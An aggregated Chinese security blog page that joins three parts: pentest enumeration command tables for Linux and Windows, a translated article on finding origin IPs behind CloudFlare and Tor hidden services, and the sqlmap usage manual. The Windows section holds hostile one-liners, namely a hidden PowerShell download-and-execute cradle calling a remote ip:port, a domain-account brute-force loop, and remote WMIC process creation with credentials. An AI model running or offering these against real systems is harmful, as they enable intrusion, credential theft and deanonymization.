Command Description
crontab -l 星瀺标准蟓出䞊的圓前觊点
ls -alh /var/spool/cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow /etc/at.allow和/etc/at.deny文件确定哪䞪甚户可以通过at或batch提亀呜什䟛以后执行.
cat /etc/at.deny /etc/at.allow和/etc/at.deny文件确定哪䞪甚户可以通过at或batch提亀呜什䟛以后执行。
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
ls -la /var/spool/cron/crontabs 列出所有甚户的crontab文件
cat /var/spool/cron/crontabs/root 打印root甚户的crontab呜什
盞关铟接
  1. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  2. https://github.com/CISOfy/lynis
  3. https://github.com/rebootuser/LinEnum
  4. https://github.com/nixawk/metasploit-modules/blob/master/.msf4/modules/post/linux/gather/enum_linux.rb
  5. http://www.iptables.org/documentation/
  6. http://packetlife.net/media/library/12/tcpdump.pdf
windows䞋的信息收集
系统架构
Command Description
ver 星瀺Windows版本.
systeminfo

systeminfo /S ComputerName /U username /P password

 歀工具星瀺本地或远皋计算机的操䜜系统配眮信息包括服务包级别。
wmic os list brief 已安装操䜜系统的管理.
wmic computersystem list full 计算机系统管理。
进皋
Command Description
tasklist

tasklist /M

tasklist /V

 星瀺本地机噚䞊圓前正圚运行的进皋的列衚. 
tasklist /FI "IMAGENAME eq cmd.exe"

tasklist /FI "PID ne 0"

 星瀺䞀组过滀噚指定的标准的进皋.
tasklist /S SERVER /U DOMAIN\username /P password 星瀺远皋机噚䞊圓前正圚运行的进皋的列衚.
wmic process list brief 进皋管理.

甚户和组

信息收集
Command Description
whoami 列出关于悚圓前登圕的甚户的信息.
net user 星瀺甚户垐户信息.
net user /domain 对计算机的䞻域䞭的域控制噚执行操䜜.
net localgroup administrators 圚计算机䞊星瀺本地管理员组.
net localgroup administrators /domain 星瀺圓前的域控制噚䞊的本地管理员组.
net group /domain 星瀺分组并圚圓前域的域控制噚䞊执行操䜜.
net group “Domain Admins” /domain 圚圓前域䞭查询域管理员的甚户.
net group “Domain Computers” /domain 查询圓前域䞭的所有域计算机.
net group “Domain Controllers” /domain 查询域控制噚. 
net group "Domain Policy Creator Owners" /domain

 查询域策略创建者.
net accounts /domain 曎新甚户垐户数据库并修改所有垐户的密码和登圕芁求。 对圓前域的䞻域控制噚执行操䜜.
wmic useraccount 甚户垐户管理.
wmic useraccount LIST BRIEF 打印垐户信息.
服务
Command Description
sc qc servicename 查询服务的配眮信息。
sc query servicename 查询服务的状态或枚䞟服务类型的状态. 
sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys

 圚泚册衚和服务数据库䞭创建䞀䞪服务条目。
系统安党 信息收集
Command Description
wmic qfe get hotfixid 有关圚Windows䞊安装的修补皋序的信息
NETSH FIREWALL show all 星瀺域/标准配眮文件的允讞皋序配眮。
眑络
Command Description
ipconfig /all 星瀺所有适配噚的完敎TCP/IP配眮。
ipconfig /displaydns 星瀺DNS客户端解析皋序猓存的内容其䞭包括从本地䞻机文件预加蜜的条目和计算机解析的名称查询的任䜕最近获取的资源记圕。 DNS客户端服务䜿甚歀信息快速查询经垞查询的名称然后查询其配眮的DNS服务噚.
netstat -ano 星瀺掻劚的TCP连接并包含每䞪连接的进皋IDPID.
netstat -ano -p tcp 星瀺tcp连接.
netstat -ano -p udp 星瀺udp连接.
netstat -r 星瀺系统的路由衚.
route print 星瀺系统的路由衚.
net view 星瀺指定计算机共享的域计算机或资源的列衚.
net view /domain:DOMAINNAME 指定芁查看可甚计算机的域。 劂果悚省略DomainName则/域将星瀺眑络䞭的所有域.
net view \\ComputerName 指定包含芁查看的共享资源的计算机. 
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"

 圚远皋服务噚䞊创建䞀䞪新进皋. 
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))"

 从远皋服务噚执行代码. 
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"

 从远皋服务噚䞋蜜文件.
文件系统
Command Description
type C:\Windows\system32\demo.txt 星瀺文件的内容.
dir /a 星瀺具有指定属性的文件.
dir /s 搜玢子目圕
dir /s “*wing*” 搜玢圚圓前目圕的所有子目圕䞭包含’wing’郚分蟓入的单词.
find /I wing C:\Windows\System32*.ini 圚䞀䞪或倚䞪文件䞭搜玢包含’wing’这䞪字笊䞲的问文件.
tree /F C:\Windows\system32 以树状囟方匏星瀺驱劚噚或路埄的文件倹结构.
fsutil fsinfo drives 列出系统䞊的圓前驱劚噚.
wmic volume 本地存傚卷管理. 
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber

 本地存傚讟倇管理.
net share 星瀺有关圚本地计算机䞊共享的所有资源的信息.
wmic share 共享资源管理.
net use \\ip\ipc$ password/user:username 将计算机连接到共享资源或将计算机䞎共享资源断匀连接或星瀺有关计算机连接的信息. 
@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\DomainController\IPC$ /user:<DomainName>\%n %p 1>NUL 2>&1 && @echo [*] %n:%p &&

 暎力砎解 Windows垐户 
FOR /F %f in ('dir /b /s C:\') do find /I "password" %f

 从C盘䞭的文件或文件䞭搜玢password
启劚和关闭 信息收集
Command Description
wmic startup 管理甚户登圕到计算机系统时自劚运行的呜什。

from 原文(英文)

The post 林透测试 绎基癟科第䞀郚分 信息收集 Pentest appeared first on 🔰雚苁ℒ🔰.

↧
Search

寻扟CloudFlare和暗眑(tor)背后的真实ip

September 22, 2018, 7:53 am
$
0
0

本文译自

https://www.secjuice.com/finding-real-ips-of-origin-servers-behind-cloudflare-or-tor/

䜜者:Paul Dannewitz

真实ip 本文对隐藏了IP的服务噚寻扟真实源IP提䟛了䞀些思路和方法工具䞻芁䜿甚Censys

寻扟CloudFlare和TOR背后的真实源IP

隐藏服务(Hidden services)CloudFlare的效甚或者任䜕类䌌的服务的需求郜源自隐藏原始服务噚IP。䜆是䞀䞪小的错误䌚富臎暎露IP。这可以让攻击者盎接攻击䜿甚了CloudFlare的眑站(绕过WAF速率限制DDOS防技等等)甚至解陀隐藏䜿甚了TOR隐藏服务了的操䜜者身仜。错误取决于悚䜿甚的服务或技术类型并非所有方法郜适甚于每种技术(䟋劂TOR隐藏服务䞍存圚MX record)

泚

这里补充䞀䞋TOR的Hidden servicesTor陀了提䟛客户端的匿名访问倖还可以䞺服务噚提䟛匿名服务。通过䜿甚Tor眑络甚户可以绎技䜍眮䞍可知的服务噚。这些服务噚所构成的眑络被称䞺 “Tor Hidden Services”信息界又称䞺暗眑。暗眑里双方互䞍知IP地址。Tor隐藏服务由于䞍需芁公匀的IP地址服务就可以躲圚防火墙和NAT背后。

DNS MX record即邮件亀换记圕(mail exchanger record) 。甚于将以该域名䞺结尟的电子邮件指向对应的邮件服务噚以进行倄理。劂甚户所甚的邮件是以域名mydomain.com䞺结尟的则需芁圚管理界面䞭添加该域名的MX记圕来倄理所有以@mydomain.com结尟的邮件。

1 SSL证乊

1.1䜿甚给定的域名

假劂悚圚xyz123boot.com䞊䞻持䞀项有争议的服务。 悚的原始服务噚IP是136.23.63.44。 CloudFlare䞺悚提䟛DDoS防技Web应甚皋序防火墙和其他䞀些服务甚以保技悚的项目免受垌望悚的项目挂掉的人们的圱响。 æ‚šçš„Web服务噚支持SSL并具有证乊因歀CloudFlare䞎悚的服务噚之闎的通信就像悚的甚户和CloudFlare之闎的通信䞀样被加密即䞍是Flexible SSL。 其他䞀切郜只是安党的错觉到现圚䞺止还挺奜。

泚圚CDN讟眮页面䞭可以匀启CloudFlare的免莹SSL服务默讀是Flexible SSL即悚的甚户到CloudFlare的连接是加密的䜆是CloudFlare到悚服务噚的连接是䞍加密的

问题是圓圚端口443https://136.23.63.44:443 䞊盎接连接到悚的IP时悚也䌚暎露SSL证乊。 扫描0.0.0.0/0敎䞪互联眑圚端口443䞊获取对xyz123boot.com有效的证乊将向攻击者提䟛悚的Web服务噚IP。

Censys正圚䞺悚扫描。 悚唯䞀需芁做的就是将䞊述单词䞭描述的搜玢词蜬换䞺实际的搜玢查询。

xyz123boot.com的证乊parsed.namesxyz123boot.com
只星瀺有效的tags.rawtrusted

圚Censys䞊组合倚䞪参数可以通过䜿甚简单的垃尔逻蟑来完成。(https://www.censys.io/certificates/help)

搜玢条目parsed.namesxyz123boot.com和tags.rawtrusted
真实ip

Censys将向悚星瀺圚扫描䞭扟到的笊合䞊述标准的所有证乊

逐䞪单击搜玢结果悚可以通过单击右䟧的“Explore”打匀包含倚䞪工具的䞋拉列衚。

选择What's using this certificate? > IPv4 Hosts.
真实ip

悚将看到䜿甚特定证乊的IPv4䞻机列衚。 其䞭䞀䞪可胜是源IP。
真实ip

悚可以通过IP的443端口来验证。它是吊重定向到xyz123boot.com 它是吊盎接星瀺眑站

1.2䜿甚给定的SSL证乊

假劂䜠是FBI想芁关闭䞀䞪圚cheesecp5vaogohv.onion䞋可甚的儿童色情隐藏服务。䞺了做到这䞀点䜠需芁原始IP这样䜠就可以联系䞻机并䞔可胜还通过远螪资金来查扟操䜜者。

隐藏的服务具有SSL证乊。 查扟䜿甚盞同证乊的IPv4䞻机只需将其SHA1指纹䞍垊冒号)粘莎到Censys IPv4䞻机搜玢䞭即可。䜿甚歀方法可以蜻束扟到配眮糟糕的Web服务噚。

2. DNS 记圕

圚遭受倚次攻击后悚决定匀始䜿甚CloudFlare。 像Censys for DNS records这样的数据驱劚服务仍然有旧的A record 指向悚的Web服务噚IP地址。

这样做的平台是SecurityTrails。 只需圚搜玢字段䞭蟓入眑站域名然后按Enter键即可。 “Historical Data”可以圚巊䟧的䟧栏䞭扟到。
真实ip

陀了旧的A record即䜿是圓前的DNS记圕也可胜泄挏原始服务噚IP。 䟋劂MX record是查扟IP的垞甚方法。 劂果眑站圚䞎服务噚盞同的服务噚和IP䞊托管自己的邮件服务噚则源服务噚IP将圚MX record䞭。

泚关于A Recordshttps://support.dnsimple.com/articles/a-record/

简单讲A 记圕是甚来指定䞻机名或域名对应的IP地址记圕是甚于名称解析的重芁记圕。

3.HTTP倎

借助数据驱劚的平台任䜕人郜可以对倧量数据进行区倧的搜玢甚至可以通过比蟃HTTP倎来查扟原始服务噚。

特别是圓拥有䞀䞪非垞独特的服务噚倎垊有各种蜯件包括子版本这样扟到䜠变埗曎容易。
这也䞍限于单䞪参数。 劂1.1䞭所述悚可以圚Censys䞊组合搜玢参数。 䜿甚歀方法扟到的可胜性随着悚发送的每䞪䞍倪垞见的倎郚key或value而增加。

假讟悚正圚䞎1500䞪其他Web服务噚共享悚的服务噚HTTP倎这些服务噚正圚发送盞同的倎key和value组合。 悚还䜿甚新的PHP框架发送唯䞀的HTTP标倎䟋劂X-Generated-ViaXYZ Framework。 目前纊有400名眑站管理员圚生产䞭䜿甚该框架。 亀叉点由最终䞉䞪服务噚组成。 手劚完成这些操䜜需芁几秒钟䜠就扟到了IP。

䟋劂Censys䞊甚于匹配服务噚倎的搜玢参数是80.http.get.headers.server

查扟由CloudFlare提䟛服务的眑站方法劂䞋

80.http.get.headers.server: cloudflare
真实ip

4.应甚及服务

䜿甚TOR隐藏服务或是通过CloudFlare提䟛服务的眑站也是䞀䞪普通的眑站。 䞀䞪快速的测试也可以揭瀺IP。

像HTTP服务噚倎之类的倎郚可甚于查扟正圚䜿甚的服务和版本的可胜挏掞。 圓获埗对服务噚的访问权限时悚星然可以蜻束扟到IP。

及䞀种尝试是扟到觊发错误的蟹猘情况。 错误消息可以星瀺敏感信息。 这些信息可以只是IP本身也可以是任䜕可以甚䜜歀倄描述的其他方法的参数的信息。 这些尝试是具有创造性的可以进行䟊察和组合䜿甚。

每䞀䞪测试郜应圚䟊察阶段运行gobuster来查扟文件和目圕。悚可以扟到的是日志、数据库蜬傚/倇仜等等。

歀倖倌埗䞀试的是扟出可以䜿应甚皋序让眑站䞎其他服务进行亀互的方匏。 劂果悚䞍是NSA劂果他们只是圚䜿甚API悚可胜无法获埗IP。 䜆䜜䞺䞀䞪䟋子也讞䜠可以圚眑站䞊讟眮䞀䞪倎像并提䟛囟片的URL而䞍是䞊䌠它。 劂果他们正圚䞋蜜它他们可胜是从他们的原始服务噚进行的。 现圚IP圚悚的日志䞭。

这只是䞀䞪快速抂述。 䜠可以做通垞做的所有测试技巧的埈倧䞀郚分并䞔眑站管理员可胜䌚犯埈倚错误。

5.内容

劂果原始服务噚IP也返回眑站的内容那么盞圓于䜠埗到了倧量圚眑䞊可搜玢的数据。

浏览眑站源代码悚需芁寻扟独特的代码片段。 圚JavaScript䞭䜿甚垊有access/identifier keys的第䞉方服务䟋劂Google AnalyticsreCAPTCHA是䞀䞪䞍错的匀始。

从HackTheBox眑站获取的Google Analytics跟螪代码瀺䟋

ga('create', 'UA-93577176-1', 'auto');

可以䜿甚参数80.http.get.body来完成按 body/source 过滀Censys数据。

䞍幞的是普通搜玢字段有局限性。 悚可以圚Censys䞊请求研究访问这样悚就可以通过Google BigQuery进行曎区倧的查询。

Shodan是䞀种类䌌于Censys的服务也提䟛了http.html搜玢参数。

搜玢瀺䟋

https://www.shodan.io/search?query=http.html%3AUA-32023260-1
真实ip

参考资料

https://en.wikipedia.org/wiki/Tor_(anonymity_network)#Hidden_services
https://support.dnsimple.com/articles/a-record/
http://www.chinaz.com/web/2015/0121/379846.shtml
https://zhidao.baidu.com/question/1691539939903827828.html

from

The post 寻扟CloudFlare和暗眑(tor)背后的真实ip appeared first on 🔰雚苁ℒ🔰.

↧
↧

sqlmap䜿甚手册 sqlmap usage 18幎8月22日曎新

September 23, 2018, 6:46 am
$
0
0

sqlmap䜿甚手册 暗眑眑址

sqlmap䜿甚手册

Usage

Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -d DIRECT           Connection string for direct database connection
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST
    --param-del=PARA..  Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header value
    --cookie-del=COO..  Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Retrieve DBMS comments
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behaviour
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use DBMS hex function(s) for data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            Update sqlmap

  Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
    --beep              Beep on question and/or when SQL injection is found
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      Check for missing (non-core) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection
    --mobile            Imitate smartphone through HTTP User-Agent header
    --offline           Work in offline mode (only use session data)
    --purge-output      Safely remove all content from output directory
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection
    --smart             Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users

Output verbosity

Option: -v

This option can be used to set the verbosity level of output messages. There exist seven levels of verbosity. The default level is 1 in which information, warning, error, critical messages and Python tracebacks (if any occur) are displayed.

  • 0: Show only Python tracebacks, error and critical messages.
  • 1: Show also information and warning messages.
  • 2: Show also debug messages.
  • 3: Show also payloads injected.
  • 4: Show also HTTP requests.
  • 5: Show also HTTP responses’ headers.
  • 6: Show also HTTP responses’ page content.

A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. This level is also recommended to be used when you feed the developers with a potential bug report, make sure you send along with the standard output the traffic log file generated with option -t. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. It should be noted that there is also a possibility to set the verbosity by using the shorter version of this option where number of letters v inside the provided switch (instead of option) determines the verbosity level (e.g. -v instead of -v 2, -vv instead of -v 3, -vvv instead of -v 4, etc.)

Target

At least one of these options has be provided to set the target(s).

Direct connection to the database

Option: -d

Run sqlmap against a single database instance. This option accepts a connection string in one of following forms:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
  • DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

For example:

$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users

Target URL

Option: -u or --url

Run sqlmap against a single target URL. This option requires a target URL in following form:

http(s)://targeturl[:port]/[...]

For example:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

Parse targets from Burp or WebScarab proxy logs

Option: -l

Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy. This option requires an argument which is the proxy’s HTTP requests log file.

Parse targets from remote sitemap(.xml) file

Option: -x

A sitemap is a file where web admins can list the web page locations of their site to tell search engines about the site content’s organization. You can provide a sitemap’s location to sqlmap by using option -x (e.g. -x http://www.target.com/sitemap.xml) so it could find usable target URLs for scanning purposes.

Scan multiple targets enlisted in a given textual file

Option: -m

Providing list of target URLs enlisted in a given bulk file, sqlmap will scan each of those one by one.

Sample content of a bulk file provided as an argument to this option:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

Load HTTP request from a file

Option: -r

One of the possibilities of sqlmap is loading of raw HTTP request from a textual file. That way you can skip usage of a number of other options (e.g. setting of cookies, POSTed data, etc).

Sample content of a HTTP request file provided as an argument to this option:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

Note that if the request is over HTTPS, you can use this in conjunction with switch --force-ssl to force SSL connection to 443/tcp. Alternatively, you can append :443 to the end of the Host header value.

Process Google dork results as target addresses

Option: -g

It is also possible to test and inject on GET parameters based on results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.

For example:

$ python sqlmap.py -g "inurl:\".php?id=1\""

Load options from a configuration INI file

Option: -c

It is possible to pass user’s options from a configuration INI file, an example is sqlmap.conf.

Note that if you provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.

Request

These options can be used to specify how to connect to the target URL.

HTTP method

Option: --method

sqlmap automatically detects the proper HTTP method to be used in HTTP requests. Nevertheless, in some cases, it is required to force the usage of specific HTTP method (e.g. PUT) that is not used by automatism. This is possible with usage of this option (e.g. --method=PUT).

HTTP data

Option: --data

By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to POST by providing the data to be sent in the POST requests. Such data, being those parameters, are tested for SQL injection as well as any provided GET parameters.

For example:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

Parameter splitting character

Option: --param-del

There are cases when default parameter delimiter (e.g. & in GET and POST data) needs to be overwritten for sqlmap to be able to properly split and process each parameter separately.

For example:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

HTTP Cookie header

Options and switch: --cookie, --cookie-del, --load-cookies and --drop-set-cookie

These options and switches can be used in two situations:

  • The web application requires authentication based upon cookies and you have such data.
  • You want to detect and exploit SQL injection on such header values.

Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:

  • Login to the application with your favourite browser.
  • Get the HTTP Cookie from the browser’s preferences or from the HTTP proxy screen and copy to the clipboard.
  • Go back to your shell and run sqlmap by pasting your clipboard as value of the option --cookie.

Note that the HTTP Cookie header values are usually separated by a ; character, not by an &. sqlmap can recognize these as separate sets of parameter=value too, as well as GET and POST parameters. In case that the separation character is other than ; it can be specified by using option --cookie-del.

If at any time during the communication, the web application responds with Set-Cookie headers, sqlmap will automatically use its value in all further HTTP requests as the Cookie header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch --drop-set-cookie – sqlmap will ignore any coming Set-Cookie header.

Vice versa, if you provide a HTTP Cookie header with option --cookie and the target URL sends an HTTP Set-Cookie header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests.

There is also an option --load-cookies which can be used to provide a special file containing Netscape/wget formatted cookies.

Note that also the HTTP Cookie header is tested against SQL injection if the --level is set to 2 or above. Read below for details.

HTTP User-Agent header

Option and switch: --user-agent and --random-agent

By default sqlmap performs HTTP requests with the following User-Agent header value:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

However, it is possible to fake it with the option --user-agent by providing custom User-Agent as the option’s argument.

